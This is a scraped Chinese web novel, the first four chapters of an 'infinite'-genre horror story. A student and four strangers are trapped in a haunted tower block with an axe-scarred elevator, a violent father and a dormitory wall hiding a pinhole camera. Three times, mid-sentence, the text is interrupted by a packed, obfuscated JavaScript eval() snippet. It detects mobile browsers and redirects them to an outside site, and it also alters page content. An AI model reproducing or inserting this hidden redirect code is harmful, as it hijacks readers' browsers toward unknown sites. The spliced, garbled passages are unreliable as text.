《你说谁是漂亮废物[无限]》 1. 第 1 章 第三次核对手机账单时,矿泉水瓶仍卡在贩卖机里纹丝不动。 天色渐晚,暮色像一张巨大的黑布,笼罩着旁边那栋老旧的筒子楼。 宿珩下意识摸了摸喉结——那里总像缠着条看不见的丝线,勒得他喘不过气。 或许真正让他喘不过气的,是最近日益增多的人口失踪案……单是京大,就有好几个人悄无声息地失踪了,直到现在也没找到。 宿珩平时不怎么出学校,但今天是他给学生上家教的日子,好在路途并不远,步行十五分钟就能回去。 结束授课回校的途中,他突然喉咙干得发紧,只想快点买瓶水回宿舍。 面前的贩卖机看起来有年份了,玻璃屏蒙着一层薄灰,将矿泉水瓶映得有些失真。 现在……这该死的水,卡住了。 宿珩皱眉,又拍了拍出货口,冰冷的铁皮纹丝不动。 这时,他听见身后传来一阵急促的脚步声,余光里有个瘦弱的身影匆匆掠过。 那是个瘦得惊人的男人。 灰扑扑的毛衣松垮地挂在身上,露出的手腕骨节尖锐得像是随时会刺破皮肤,他的脸色苍白得近乎透明,眼下挂着两轮浓重的青黑,活像具行走的干尸。 低着头快步从宿珩身边掠过时,男人的毛衣掀起一阵带着霉味的风,径直钻进了鼻腔。 宿珩皱了皱鼻子,视线不自觉地瞥向那个背影,目送他行色匆匆地钻进旁边筒子楼黢黑的门洞。 他全然没注意到,在男人经过贩卖机的瞬间,玻璃屏后的二维码扭曲了一瞬,但转眼间又恢复了正常。 “滴——支付成功。” 清脆的支付提示音突然响起。 宿珩疑惑地看向手机,明明早就支付成功的界面上,莫名显示着“支付成功”的猩红□□面。 不对……这颜色? 他还没来得及反应,眼前骤然一黑。 —— 回过神时,筒子楼的阴影已经将他完全笼罩。 宿珩看了眼脚下踩着的地面,正好是在一条开裂的水泥地上。 他明明还站在贩卖机前,怎么一眨眼就到了楼门口? 更诡异的是,原本昏黑的天色竟然重新亮了起来,像是灰蒙蒙的阴天。 手机屏幕上的猩红界面此时已消失不见,信号栏空空如也,连日期都成了乱码,只有“17:27”这几个代表时间的数字勉强能用。 以这栋筒子楼为中心,四周所有的事物全浸没在了雾霾一样的灰雾中,这栋楼像是被遗忘在大海深处的孤岛。 换句话说——宿珩现在哪里都去不了,除了眼前的筒子楼。 好消息是自己终于不渴了。 “麻烦……” 宿珩轻叹了声,抬腿迈进窄仄的门洞,刚一进门,就有一股霉味袭入鼻腔,让他冷不防想起那个干瘦的男人。 “又一个倒霉蛋。” 低沉的男声从侧面传来,带着几分倦意。 宿珩转头,看见一个穿黑色冲锋衣的男人倚在斑驳的墙边。 那人约莫二十七八岁,锋利的下颌线隐在竖起的衣领后,只露出一双黑沉的眼睛,他抱着手臂的姿势像一把收在鞘里的刀,整个人散发着凌厉的气场。 不过他似乎在这里等得有点困了,刚说完就打了个哈欠。 宿珩不清楚他说的话是什么意思,刚想开口询问,却注意到除了黑衣青年外,一楼还有另外三人。 墙角的位置蹲着个穿校服的高中生。他戴着眼镜,把书包当屁垫,用膝盖当桌子,正埋头在一张卷子上写写画画。 被不可名状的超自然现象拉到这破地方,居然还有心情写卷子,这种学习精神实属感人。 除高中生外,还有一男一女。 男的身材高大,穿着健身背心,一身肌肉虬结,看样子是个健身教练;女生扎着马尾,神色不太自然地紧攥着帆布包的肩带。 看到宿珩进门,健身教练急忙迎了过来,开口就是:“兄弟,怎么称呼?” “宿珩。” 健身教练:“你也是在旁边的贩卖机上买水,然后眼一黑就到这里的吗?” “嗯。” 健身教练:“你手机还能用吗?” 宿珩摇头:“没信号。” 健身教练看着眼前漂亮到有点孱弱的年轻人,顿感天都塌了。 “天杀的,出也出不去,上也上不了,什么时候能来个大佬,救救我们啊……” 从他崩溃的表情中,宿珩知道,这是把他当成同病相怜的倒霉蛋了。 林晓鹿被他的情绪感染,开口时嗓音都在发抖,“已经五个人了……我们还需要等多久?” 说话间,她下意识望向倚在墙上的黑衣青年。 大家刚进来时自我介绍过,黑衣青年自称“肖靳言”,他是最早进来的人,话最少,也是所有人中情绪最稳定的。 在墙角蹲着写作业的高中生叫楚文武,高一学生,他不是不怕,自己不久前悄悄去看过,那小孩连“cos30°”是多少都写错了…… 黑衣青年终于站直了身体,冲锋衣摩擦发出轻微的声响。 他随手拍了拍衣服沾上的灰,说:“人已经齐了。” “你说齐就齐了?” 健身教练还没从崩溃中缓过神来,忽见黑衣青年指了指他身后那部老旧的电梯,原本灰暗的按钮突然亮起了微弱的红光。 “我靠!电梯能动了!” 健身教练突然大喊一声,声音洪亮得吓了宿珩一跳,只见他三步并作两步冲到电梯前,用力拍着上行按钮。 林晓鹿紧张地凑过去,问:“陈奇大哥,真的要上去吗?” 陈奇头也不回:“那不然呢,干站在这儿等死吗?” 女生嗫嚅着不再说话了。 “叮——“ 电梯突然发出的提示音打断了对话,脏污的铁门缓缓打开,露出里面昏暗的空间。 轿厢壁上布满了深浅不一的划痕,最触目惊心的是一道几乎贯穿整个侧壁,像是斧头留下的深深砍痕。 陈奇当场吓得倒吸一口凉气,连退数步。 林晓鹿:“还、还进去吗?” 电梯里的灯光是死气沉沉的白,被利器砍卷的金属边像刀一样锋利,陈奇白着张脸,拼命摇头。 一声低哂蓦地从身后传来,黑衣青年突然走向电梯,伸手按住向上的按钮,接着第一个迈了进去。 坚硬的鞋跟踩在金属地板上发出沉闷的回响,肖靳言扫了眼剩余四人:“还有人要上去吗?” 陈奇还在犹豫。 但最晚进来的那个叫宿珩的年轻人却想都没想,擦着他的肩膀,第二个走进了电梯,面容冷淡地和黑衣青年并肩站在了一起。 肖靳言意外地瞥了他一眼,却换来对方更加冷漠的回视,像是蒙着雾的深潭。 挺有趣……肖靳言不动声色地耸了耸眉。 紧随着宿珩进电梯的是收拾好作业的高中生,其次是视死如归的林晓鹿。 四个人站在电梯内看着他,陈奇面子上过不去,但更怕一个人被丢在这里,于是悻悻地挤进了电梯。 电梯门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653339|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓闭合,将五人困在狭小的金属空间内。 一股若有若无的腐臭味从轿厢的裂缝中飘了出来,像是有什么东西在电梯井深处腐烂了很久。 宿珩皱着鼻子,盯着楼层按钮—— 本该显示25层的面板上,只有8、19、24三个数字亮着微绿的光,其余数字全部熄灭,像是被某种力量强行抹去了一般,按都按不了。 “先按8楼。”肖靳言开口。 离得最近的楚文武伸手按下按钮,电梯发出老旧的齿轮转动声,缓缓上升。 宿珩皱眉,突然想到一个问题:“上去之后,怎么下来?” 空气一滞。 众人面面相觑,楚文武挠了挠头:“走楼梯?” 话刚出口,他就愣住了—— 这栋筒子楼根本没有楼梯间,进来的时候,陈奇他们早就将一楼翻了个底朝天,除了这部电梯,什么都没有。 电梯上升的速度很慢,足足过了半分钟,才“叮”的一声停在八楼。 门缓缓打开。 外面是一道长长的走廊,灯光昏黄,两边墙壁石灰剥落,露出泛黄的霉斑,空气中弥漫着潮湿的霉味和某种隐约的腐臭。 他们没急着踏出去,楚文武试探性地按了按“1F”按钮,果然毫无反应。 “看来只能往前走了。” 肖靳言率先迈出电梯,鞋底踩在脏兮兮的地砖上,脚感黏腻,让人很不舒服。 走廊深处,传来有节奏的拍球声。 “砰——砰——砰——” 声音在空荡的走廊里回荡,像是某种诡异的倒计时。 众人循声走去,拐角处,一个八九岁的小男孩正对着墙壁机械地拍着皮球。 他穿着洗得发白的蓝条纹睡衣,袖口和裤脚都短了一截,露出瘦削的手腕和脚踝,头发也是乱糟糟的。 每一次皮球砸在墙上,都会震落一小片墙灰。 林晓鹿是小学教师,和小孩打的交道最多,她紧张地咽了咽口水,努力让自己的声音听起来柔和。 “小朋友……这是哪里?” 小男孩停下动作,缓缓转过头。 他的脸色苍白得近乎透明,眼下挂着青黑的阴影,像是很久没睡过觉,他盯着林小鹿,嘴角扯出一个僵硬的笑:“这是爸爸家啊。” “爸爸家?”林晓鹿一愣,“除了爸爸家,这里还有其他人吗?” 小男孩抱着皮球,头摇得像拨浪鼓。 林晓鹿还想再问什么,小男孩的耳朵突然动了动,像是听到了什么,他的表情骤然惊恐,声音发抖:“爸爸回来了!” 他一把抓起皮球,飞快地钻进旁边的802室,门“砰”地摔上。 下一秒,走廊深处传来轰隆的震动声,像是有什么沉重的东西正从那里奔过来。 “什么声音?!” 陈奇低声咒骂,肌肉绷紧。 一个满身酒气和腐臭味的邋遢男人踉跄着跑出来。 他穿着沾满油污的工装裤,手里拎着一把剁骨刀,脸上横亘着几道狰狞的疤痕。 浑浊的眼珠扫过众人,男人不耐烦地吼道:“滚开!别挡老子的路!” 众人纷纷让路。 男人跌跌撞撞地冲向802室,剁骨刀重重砍在门板上,发出震耳欲聋的巨响。 “小兔崽子,不好好写作业在外面玩?快给老子开门!” 透过被他劈砍得纷飞木屑,宿珩却突然感到一阵极冷的恶意。 他看到,男人那双浑浊的眼,正借着剔骨刀的反光,偷偷窥伺着他。 2. 第 2 章 那道饱含恶意的视线像冰冷的毒蛇,缠绕在宿珩的皮肤上,激起一阵生理性的战栗。 万幸的是,男人的注意力似乎更多在门锁上,剁骨刀一次次劈砍,木屑纷飞,伴随着粗重的喘息和咒骂。 终于,“哐啷”一声巨响,脆弱的门锁彻底报废,男人踹开门,带着一身酒气和戾气闯了进去。 “小兔崽子!你敢不给老子开门?!” 门被用力摔上,隔绝了屋内的咆哮和可能接踵而至的暴力,却隔不断那股弥漫在空气中、令人窒息的阴冷。 宿珩微微蹙眉,指尖丢失的温度给他一种很不好的感觉。 这层楼像一块吸满了负面情绪的海绵。 绝望、痛苦、怨恨…… 种种情绪交织在一起,无声地压迫着神经,让他胸口发闷,心跳也有些不规律。 这感觉远比单纯的恐惧更让人不适,像是灵魂深处被什么东西刺了一下,细细密密的疼。 这地方不正常…… 旁边,肖靳言一直若有若无地注意着宿珩。 和其他三个人相比,这个长相好看但气质冷淡的年轻人从进来到现在,除了最初的些微惊讶,其余时候表现得过于镇定了,甚至在那拎着剔骨刀的诡异男人出现时,也只是皱了下眉。 但此刻,他却看到宿珩脸色似乎白了几分,呼吸也比刚才急促了些许。 那双总是蒙着一层冷淡雾气的眼睛里,难得地显露出一丝极力压抑的烦躁和……痛苦? 肖靳言目光微闪,却没有作声,只是将这份观察悄然记下。 “那……那我们现在怎么办?” 林晓鹿的声音带着哭腔,显然被刚才的场面吓得不轻,“那个小孩……” “自身难保,还管别人?你没看到他拿着刀吗?” 陈奇烦躁地打断她,视线在走廊两端逡巡。 “这鬼地方到底怎么回事?总得找找有没有别的出口吧?” 他说着,率先朝走廊深处走去,开始检查两旁的房门。 这些门都和802一样,是老旧的木门,刷着斑驳的黄漆,几乎全都紧闭着,门牌号模糊不清。 楚文武推了推眼镜,也跟着行动起来,他挨个去拧门把手,无一例外,全都纹丝不动。 林晓鹿犹豫了一下,也小步跟在陈奇后面。 宿珩并没有动。 他的目光落回了802室对面那片墙壁,就是小男孩之前拍球的地方。 昏暗的光线下,墙皮剥落得更厉害,露出的水泥底子上,隐约有些杂乱的线条。 他走近几步,借着手机屏幕微弱的光芒,仔细辨认着。 那似乎是一副涂鸦,用黑色或深色的东西画上去的,线条稚嫩而扭曲。 大部分已经被后来的污渍和脱落的墙皮破坏,只能看到一些零碎的轮廓。 宿珩盯着那片模糊的痕迹,脑海里不由自主地回响起刚才那单调、固执的拍球声。 “砰——砰——砰——” 一下,又一下,像是某种绝望的重复。 结合小男孩苍白的脸,惊恐的眼神,以及那个充满暴戾气息的“爸爸”…… 宿珩心中渐渐勾勒出一个模糊的轮廓,一个关于痛苦和禁锢的故事雏形。 这涂鸦,也许不仅仅是随手乱画。 “画的是什么?” 低沉的嗓音毫无预兆地在耳边响起,宿珩甚至没察觉到身后何时多了个人。 他侧过头,肖靳言不知何时站到了他旁边,正同样审视着墙上的涂鸦,冲锋衣的拉链拉到顶,衬得下颌线条愈发硬朗。 宿珩收回视线,淡淡地反问:“你觉得是什么?” 肖靳言似乎对他的反问并不意外,反而轻笑了一声,那笑声在寂静的走廊里显得有些突兀。 他伸手指了指墙上最清晰的一块残迹,那是一个歪歪扭扭的圆圈,旁边连着几条不规则的直线。 “有点像……” 肖靳言摸了摸下巴,语气带着几分不确定,又像是刻意引导,“……一个轮子掉了,被踩扁了的玩具车?” 玩具车? 这三个字像一把钥匙,猝不及防地插进了宿珩脑海中那把被卡住一半的锁里。 咔哒一声轻响。 某些原本模糊的猜测瞬间清晰起来。 拍球的节奏,墙上的涂鸦,孩子的恐惧…… 它们似乎都指向了某个被暴力摧毁的、小小的、或许曾经承载了快乐的东西。 这难道会是线索吗? 宿珩的瞳孔微不可察地缩了一下,随即恢复了惯常的冷淡。 他没再看那涂鸦,也没回应肖靳言的话,转身就朝走廊另一头走去,似乎打算去和其他人汇合。 肖靳言挑了挑眉,并不介意他的沉默,迈开长腿,不紧不慢地跟在他身后,两人之间隔着三步左右的距离。 宿珩能感觉到他跟随的脚步声,沉稳,不带丝毫迟疑。 “喂……”肖靳言的声音再度传来,带着一丝若有似无的探究,“从刚才到现在,你好像一点都不害怕。” 宿珩脚步未停,只是微微偏过头,眼角的余光扫向身后的人,语气平淡无波。 “首先……我不叫‘喂’。” “其次……你不也不害怕?” “我?” 听到这带刺的回应,肖靳言像是听到了什么有趣的事情,他低笑了声,双手插进冲锋衣口袋里,耸了耸肩,没再继续这个话题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653340|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但他却记住了,这长相很合他口味的年轻人……似乎并不好惹。 走廊尽头,陈奇还在徒劳地试图推开一扇看起来稍微新一点的防火门,楚文武则蹲在地上,似乎在研究地砖的缝隙,林晓鹿站在旁边,紧张地替他们望风。 宿珩的目光掠过他们,最终停留在走廊墙壁上悬挂的一个老旧消防栓箱上。 箱体锈迹斑斑,玻璃罩也蒙着厚厚的灰尘。 他走过去,伸手擦掉玻璃上的一片污垢,露出了里面的东西——空的。 没有水带,没有灭火器,只有一个空荡荡的红色铁箱。 然而,就在箱子内壁靠近底部不起眼的位置,宿珩看到了一行用白色涂改液写下的小字,字迹歪歪扭扭,像是出自孩童之手: “车……坏了……爸爸……打……不让……我说……” 后面的字迹被一大片深色的污渍覆盖,像是干涸的血迹,又像是别的什么脏东西。 宿珩盯着那行字,指尖无意识地蜷缩了一下。 心底那股不适感再次涌了上来,伴随着一阵细微的、类似耳鸣的嗡嗡声。 “这里也没路!” 陈奇放弃了那扇推不开的门,一拳砸在门上,发出沉闷的响声。 “操!难道真要困死在这儿?” 楚文武站起身,环顾四周,叹了口气:“那我们接下来怎么办?要不……回电梯那儿看看?” 肖靳言的视线从宿珩身上移开,扫了一眼消防栓箱,又看了看众人,最后落回电梯的方向。 “嗯。” 他点了点头,“先上楼看看19和24楼有些什么东西,再做打算。” 他的语气依旧沉稳,仿佛眼前的一切都在意料之中。 这种镇定无形中给了其他人一丝微不足道的安慰。 “上面别又是这种乱七八糟的破地方……” 陈奇骂骂咧咧地往回走,林晓鹿紧随其后,楚文武也跟了上去。 宿珩最后看了一眼消防栓箱里那行字,转身跟上队伍。 经过肖靳言身边时,对方忽然低声说了一句,声音不大,刚好能让他听清: “你对这些……东西,好像比其他人敏感?” 宿珩脚步一顿,侧头看向他。 肖靳言正看着他,黑沉的眼睛里没有任何戏谑,只有纯粹的审视和一丝难以言喻的探究,像是在确认某种猜想。 宿珩没有回答,只是回视了他片刻,然后转回头,继续向前走去。 有些事情,没必要对一个刚认识不到一小时的陌生人解释。 肖靳言看着他略显单薄却挺直的背影,在无人看到的地方,耸了耸肩。 他破天荒地,感到一缕被无视的无奈。 3. 第 3 章 五个人再次挤进那狭小的金属盒子里,腐烂的气味似乎比之前更浓郁了些。 电梯门缓缓闭合,隔绝了八楼走廊昏黄的光线。 轿厢内一时间只有粗重的呼吸声此起彼伏。 楚文武站在按钮旁边,看了眼仅另外两个亮着微绿光芒的数字,犹豫着要不要按。 “真的要先去19楼吗?” 肖靳言没什么表情地点了下头。 “好吧……” 按钮按下,电梯再次发出不堪重负的嘎吱声,慢悠悠地向上爬升。 这一次,连最爱咋呼的陈奇都安静了下来,只是不安地站在一旁,肌肉紧绷,像一头随时准备应激的野兽。 林晓鹿则紧紧攥着帆布包带子,指节都有些发白。 宿珩靠在轿厢壁上,冰冷的金属触感透过薄薄的衣料传来,让他稍微清醒了些。 他能感觉到肖靳言的视线若有似无地落在他身上,带着审视,却罕见地,并不让他感到讨厌。 宿珩没有回看,只是盯着不断跳动的楼层指示灯。 肖靳言的身上有股很淡的烟草味,不仅不刺鼻,反倒驱散了轿厢里难闻的臭味,让他心底那股莫名的烦躁感消退了些许。 “叮——” 电梯终于停下,这一次停靠的震动似乎比在八楼时更剧烈一些。 随着脏污的铁门吱呀作响地向两侧滑开,一股更加阴冷、潮湿的气息扑面而来,带着浓重的霉味和某种难以形容的腐朽气味。 像是尘封了无数年的古墓被骤然打开。 眼前的景象让所有人呼吸一滞。 19楼的走廊比8楼更加破败不堪。 墙壁上布满了蛛网般的裂缝,大块大块的墙皮剥落下来,露出底下黑黄色的霉斑。 头顶的灯管闪烁不定,发出“滋滋”的电流声,光线昏暗,勉强照亮脚下一段路,地面是肮脏的水泥地,积着一层黏腻的污垢。 最让人毛骨悚然的是—— 这条走廊的各个角落,天花板、墙壁转角,甚至是一些意想不到的地方,都布满了黑色的摄像头。 那些摄像头大小不一,样式陈旧,镜头蒙着灰尘,却都无一例外地对准了走廊中央,像一只只沉默而冰冷的眼睛,在昏暗的光线下闪烁着微不可察的红点。 有些摄像头的角度很刁钻,甚至微微向下倾斜,仿佛正饶有兴致地打量着刚从电梯里出来的外来者。 “我操……” 陈奇下意识地搓了搓胳膊,只觉得鸡皮疙瘩都起来了,“搞什么鬼?这么多摄像头……监视谁呢?” “是啊,感觉……感觉它们好像在动……” 林晓鹿的声音打着颤,下意识地跟紧了几步,不敢去看那些密密麻麻的镜头。 楚文武倒吸了一口凉气,镜片后的眼睛里也闪过一丝不适,小声嘀咕了一句:“这阵仗,比我们班主任在教室后门装的那个还夸张……” 肖靳言一直没什么多余的表情。 他眼角瞥过旁边的年轻人,清晰察觉到对方的眉头似乎皱得更紧了。 宿珩确实并不好受。 19楼的气息比8楼更加诡异、更加压抑。 如果说8楼是充满了尖锐痛苦和暴戾情绪的场所,那这里则弥漫着一种冰冷的、无孔不入的窥伺感。 那种被无数双眼睛注视的感觉,像黏腻的蛛丝缠绕在皮肤上,无声地收紧,让人从心底里感到一阵阵发毛。 这远比直接的危险更令人不舒服,像是一场无声的心理凌迟。 宿珩甚至能清晰地感觉到—— 在那些摄像头背后,或者说,在这层楼的某个暗处,确实存在着某种“视线”,冰冷、执拗,带着令人不安的探究欲。 就在众人被这诡异的景象震慑住,不知该前进还是后退时,一直保持沉默的肖靳言忽然动了。 他的目光并没有停留在那些惹眼的摄像头上,而是落在了不远处,一扇紧闭的房门前—— 具体来说,是那扇门前一块脏兮兮的棕色地垫上。 那地垫看起来普通至极,边缘磨损严重,上面沾满了泥污和不明污渍。 但肖靳言似乎看出了什么,他几步走了过去。 “喂,你干嘛去?”陈奇紧张地问。 肖靳言没理他,走到地垫前,用脚尖随意地踢了一下。 地垫被掀起一角,露出了底下肮脏的水泥地,以及……一把黄铜色的钥匙。 钥匙看起来有些年头了,上面还挂着一个褪色的塑料钥匙扣。 “钥匙?”楚文武惊讶道。 肖靳言弯腰捡起钥匙,掂量了一下,然后毫不犹豫地走向那扇门。 门牌号模糊不清,只能勉强辨认出是“1904”。 “等……等等啊大哥!” 陈奇急忙阻止,“你不会想要开门吧?天知道里面有什么鬼东西!” 肖靳言像是没听见,自顾自将钥匙插进锁孔,轻轻一拧。 咔哒—— 老旧的锁芯发出清脆的响声,门应声而开。 陈奇脸色发白,下意识地后退了一步,林晓鹿也紧张地屏住了呼吸。 肖靳言推开门,往里看了一眼,然后侧身让开,示意大家可以进去。 宿珩率先走了过去,房内空无一人,但门后的景象却让他目光微微一凝。 那是一个房间,布局看起来像是一间大学宿舍,标准的四人间,上下铺铁床,靠墙摆着几张连体的书桌和衣柜。空气里弥漫着一股灰尘和樟脑丸混合的古怪味道。 宿珩轻轻蹙眉,没来由觉得有点熟悉。 思忖了半晌,他倏然意识到,这里的布局和京大的老宿舍楼非常相似,只是家具的款式更加陈旧,像是五六年前甚至更早的风格。 房间里光线昏暗,窗户被厚厚的灰尘覆盖,透不进多少光亮。 靠门的两张床铺空荡荡的,床板上积着厚厚的灰,显然很久没人住过了。 另外两张床铺则有些生活过的痕迹,但同样脏兮兮的。 其中靠窗的那张床铺,旁边的墙壁引起了宿珩的注意。 那面墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653341|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,密密麻麻地贴满了照片,足有几十张。 照片有新有旧,尺寸不一,但主角似乎都是同一个人——一个看起来二十岁左右的青年。 青年长相清秀,戴着一副厚重的黑框眼镜,但眼神却带着一种难以言喻的迷茫和不安,即使在一些看似抓拍的生活照里,那份焦虑感也挥之不去,仿佛有什么沉重的东西压在他的心头。 照片的背景大多是校园、图书馆、宿舍楼、甚至还有……厕所和浴室,角度各不相同,有的照片更像是偷拍。 但不管怎么样,照片里的青年看起来就是个普通的大学生。 宿珩的视线扫过那些照片,目光最终停留在墙壁中央的一张合照上。 照片有些褪色,上面是四个男生勾肩搭背站在宿舍楼前的合影,笑容灿烂。 其他人的面目都模糊不清,只能看到最左边的那人就是墙上其他照片里的青年,只是那时候的他,眼神里还没有后来那种浓重的阴霾。 这张合照的一个角,不知何时微微翘了起来,露出底下灰褐色的墙壁。 宿珩心中微动,仿佛被什么牵引着,迈步走了过去。 这时,其他几人也跟了进来,警惕地打量着这个房间。 “这……是个学生宿舍?”林晓鹿小声问。 “看样子是……”楚文武左右看了一圈,捂了捂鼻子,闷声说道:“但这灰尘……得有几年没人住了吧?” 陈奇则一语不发,警惕地四处张望,生怕从哪个角落里突然蹦出个什么东西来。 宿珩走到那面照片墙前,伸出手指,轻轻捏住那张翘起的合照一角,缓缓将其揭开。 照片后面并不是预想中的墙壁。 而是一个小小的、黑色的圆形物体,嵌在墙壁里,表面光滑,正中心是一个微型的镜头。 镜头周围,一圈极细微的红灯正在有规律地闪烁着。 一个隐藏的、正在运作的针孔摄像头,像是一枚正在不停窥视着他们的眼珠。 “……”楚文武倒吸一口凉气。 林晓鹿发出一声短促的惊呼,连忙捂住了嘴。 陈奇更是吓得差点跳起来,“靠!这他妈也有?!” 一瞬间,走廊里那些无处不在的摄像头带来的窥伺感,在这里得到了印证和放大。 这间看似普通的废弃宿舍,竟然也隐藏着窥视的眼睛。 就在众人惊恐的目光注视下,宿珩面无表情地伸出两根手指,精准地捏住了那个小小的摄像头。 然后—— 用力一拔。 连接摄像头的细线被他干脆利落地扯断,像扯断了几根仿佛还鲜活的神经,摄像头连同一小块墙皮被他从墙里抠了出来,那微弱的红点闪烁了两下,彻底熄灭。 做完这一切,宿珩松开手,任由那个小东西掉落在积满灰尘的地板上,发出轻微的“啪嗒”声。 整个过程,他的表情没有丝毫变化,仿佛只是随手拔掉了一根杂草。 就连肖靳言似乎都没料到他胆子如此之大,一时间竟微微一愣。 4. 第 4 章 摄像头被扯离墙壁的瞬间,空气仿佛凝固了一瞬。 紧接着,一股比之前强烈数倍的窥伺感,如同实质的冰水兜头浇下,瞬间浸透了每个人的神经末梢。 那不再是冰冷、漠然的注视,而是带着一种近乎狂躁的愤怒…… 这感觉如有实质,沉甸甸地压在宿珩的胸口,让他呼吸微滞。 他甚至能清晰地感觉到,那道隐藏在暗处的视线,此刻正死死地钉在他身上,带着一种要把他从里到外彻底看穿的偏执。 肖靳言眉峰微不可察地蹙了一下,黑沉的眼底掠过一丝冷意,下意识地往宿珩身侧挪了半步,姿态看似随意,却隐隐将宿珩护在了更靠内侧的位置。 就在这时。 “噔噔噔噔——” 一阵急促杂乱的脚步声从走廊外传来,由远及近,带着一股气急败坏的冲劲,目标明确地朝着1904而来。 “有人来了!” 最靠近门边的林晓鹿吓得往后缩了缩。 几乎同一时间,门几乎是被一股巨力撞开。 一个穿着脏兮兮卫衣,头发乱得像鸟窝的男人冲了进来。 他看起来也是二十岁出头的年纪,但脸色蜡黄,眼窝深陷,嘴唇干裂起皮,身上散发着一股浓郁的腥气,像是刚从堆满死鱼的垃圾桶里爬出来,令人闻之欲呕。 他胸口剧烈起伏,布满血丝的眼睛凶狠地扫过房间里的五个人,嗓音沙哑地低吼:“你们是谁?!怎么进来的?!” “兄弟!兄弟你可算来了!” 陈奇总算见到了个勉强算是正常的活人,之前的紧张顿时被抛到脑后,惊喜地迎上去。 “我们也不知道怎么回事,就在楼下买个水,眼前一黑就到这鬼地方了!这到底是哪儿啊?你知道怎么出去吗?” 男人根本没理会他的问题,目光在房间里飞快地扫视。 当看到被宿珩丢在地上的、断了线的针孔摄像头时,他脸上的血色瞬间褪去,取而代之的是一种扭曲的狰狞。 “谁干的?!” 他猛地抬手指着地上的摄像头残骸,声音尖利得几乎破音,“谁他妈把它弄坏的?!” 陈奇被他突然爆发的怒气吓了一跳,下意识看向站在照片墙前的宿珩。 男人的视线立刻跟了过去,死死锁定在宿珩身上。 那目光先是暴怒,随即像是发现了什么极其诱人的猎物,怒火被一种更深沉、更黏腻的情绪取代。 他上下打量着宿珩,喉结不自觉地滚动了一下,甚至几不可察地……舔了舔干裂的嘴唇。 这个细微的动作充满了毫不掩饰的恶意和占有欲,让宿珩胃里一阵翻腾,心底的厌恶感几乎要溢出来。 “是我弄坏的,又怎么样?” 宿珩迎上他的目光,语气平静无波,仿佛只是陈述一件微不足道的事实。 “你?!” 男人像是被踩了尾巴的猫,猛地往前冲了一步,似乎想对宿珩动手。 “诶诶诶……兄弟有话好好说!” 陈奇见状,连忙想上前拦阻,伸手想去拍男人的肩膀,“他也不是故意的……” “滚开!”男人头也没回,反手狠狠一甩。 “嘭!” 陈奇那身结实的肌肉在这一下面前仿佛纸糊的一样,整个人踉跄着向后撞去,重重砸在旁边的铁床架上,发出一声闷响,疼得他龇牙咧嘴,半天没爬起来。 众人骇然。 陈奇怎么说也是个健身教练,体格在几人中最为强壮,少说也有一百七八十斤。 这男人看起来瘦弱不堪,竟然有这么大的力气? 这还是正常人吗? 甩开陈奇后,男人再次将目光投向宿珩,那眼神更加露骨,像是要把他生吞活剥。 就在他准备再次上前时,一道身影不疾不徐地挡在了宿珩面前。 肖靳言双手插在冲锋衣口袋里,身形挺拔,像一堵沉稳可靠的墙,将那道充满恶意的视线完全隔绝。 他甚至没有看那个男人,只是微微侧头,用眼角的余光扫了他一下,语气平淡,却带着不容置疑的压迫感。 “你想干什么?” 男人的脚步硬生生顿住。 他对上肖靳言那双黑沉的眼睛,里面没有任何情绪,只有一片深不见底的冷漠,仿佛在看一个死物。 一股莫名的寒意从脚底窜起,让他下意识地打了个哆嗦。 眼前这个穿冲锋衣的男人,明明只是站在那里,却散发着一种让他本能感到恐惧的气息。 但他似乎又不甘心就这么退缩,尤其是在“猎物”面前。 男人色厉内荏地梗着脖子,冲肖靳言吼道:“这是我的地方!你们擅自闯进来,还弄坏我的东西!现在,立刻,给我滚出去!” 肖靳言没说话,只是静静地看着他。 男人被他看得心里发毛,但还是强撑着凶狠的样子,又重复了一遍:“滚!都给我滚出去!” “我们走。” 肖靳言收回视线,对身后的人说。 楚文武连忙扶起还在揉着胳膊的陈奇,林晓鹿也赶紧跟上。 宿珩最后看了一眼那个男人,眼神冷淡,然后跟着肖靳言走出了房间。 “砰!” 房门在他们身后重重关上。 门内,男人靠在门板上,大口喘着气,额头上渗出冷汗。 刚刚那个黑衣服的男人给他的压力太大了,几乎让他窒息,更让他感到一阵恍惚,潜意识中……似乎见过这个人。 具体的已经想不起来了,但明显不是什么美好回忆…… 男人缓了好一会儿,才走到墙边,小心翼翼地捡起地上的针孔摄像头,又从兜里掏出一卷透明胶带,笨拙地试图将断掉的线重新接上。 他把摄像头用力塞回墙壁的孔洞里,然后走到那张翘起的合照前,捡起来,对着摄像头的位置比了比,又啐了口唾沫,抹在照片背面,用力按回到墙上,将摄像头重新遮盖起来。 